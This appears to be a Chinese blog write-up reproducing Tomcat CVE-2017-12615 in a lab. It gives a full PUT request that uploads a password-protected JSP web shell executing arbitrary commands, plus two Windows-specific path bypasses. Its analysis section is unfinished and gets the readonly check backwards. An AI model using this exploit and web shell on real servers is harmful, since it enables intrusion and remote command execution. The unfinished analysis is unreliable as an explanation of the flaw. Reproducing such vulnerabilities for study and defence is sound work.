Tomcat CVE-2017-12615 Rce 漏洞复现&分析
0x01 前言
该漏洞还没分析彻底,有一点小问题卡住了,但复现没问题。
0x02 环境搭建
os:windows 10
tomcat:apache-tomcat-7.0.10
修改conf/web.xml,添加以下代码
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
如下
启动catlina.bat
catalina.bat start
0x03 漏洞复现
访问web端口,使用burp抓包,并在repeat中修改数据包,将原始数据包中
GET / HTTP/1.1
Host: 10.100.19.108:8081
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=CFA09220BDD6F7716289CDBB96B18FD8
Connection: close
GET请求改为PUT,路径/改为/1.jsp/,请求的数据包内容添加为自己想要写入的文件的内容(这里直接写入命令执行一句话)。发送数据包,若返回201 Created则写入成功。
请求包:
PUT /1.jsp/ HTTP/1.1
Host: 10.100.19.108:8081
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=CFA09220BDD6F7716289CDBB96B18FD8
Connection: close
Content-Length: 374
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
返回包:
HTTP/1.1 201 Created
Server: Apache-Coyote/1.1
Content-Length: 0
Date: Mon, 19 Oct 2020 03:35:19 GMT
Connection: close
除此以外,利用方式还有以下两种(利用windows特性,局限于windows范围内)
PUT /dewa/3.jsp%20 HTTP/1.1
PUT /dewa/1.jsp::$DATA HTTP/1.1
0x04 漏洞分析
之所以payload最后需要特殊字符或者"/",是因为在web.xml的解析和处理中
跟踪put请求处理逻辑,首先是判断web.xml中readonly选项是否为false,若为false直接返回状态码403。
接着进入写文件逻辑,我看到很多文章提到resources.bind以及resources.rebind方法来自FileDirContext但是经过一番代码追踪,感觉有点不一样,不知道是不是我的姿势有问题。